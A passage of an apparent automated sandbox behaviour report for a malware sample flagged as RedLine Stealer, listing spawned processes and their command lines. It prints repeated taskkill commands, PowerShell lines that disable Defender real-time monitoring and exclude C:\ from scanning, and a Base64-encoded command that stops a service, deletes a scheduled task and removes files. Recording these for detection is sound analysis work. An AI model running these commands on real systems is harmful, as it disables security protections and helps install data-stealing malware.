File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:52:33
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im nl.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:52:34
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:52:34
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im WerFault.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:52:41
Start date:	02/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	16:52:44
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	16:52:45
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	16:52:46
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	16:52:47
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	16:52:47
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im nl.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	16:52:47
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	16:52:47
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im WerFault.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff6d64d0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	16:52:58
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	16:52:59
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	16:53:00
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	16:53:00
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im nl.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	16:53:00
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	16:53:00
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im WerFault.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	16:53:01
Start date:	02/07/2024
Path:	C:\Users\mig.exe
Wow64 process (32bit):	true
Commandline:	"C:\users\mig.exe"
Imagebase:	0x3f0000
File size:	47'147'867 bytes
MD5 hash:	A2059CA7715450DC171F7608325744DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000005D.00000003.2800628651.0000000007379000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	16:53:01
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	16:53:02
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	16:53:04
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	16:53:04
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	16:53:06
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	16:53:06
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	16:53:07
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" stop wmservice
Imagebase:	0x5f0000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	16:53:07
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 stop wmservice
Imagebase:	0x2c0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	16:53:07
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /f /im migrate.exe
Imagebase:	0xf90000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	16:53:07
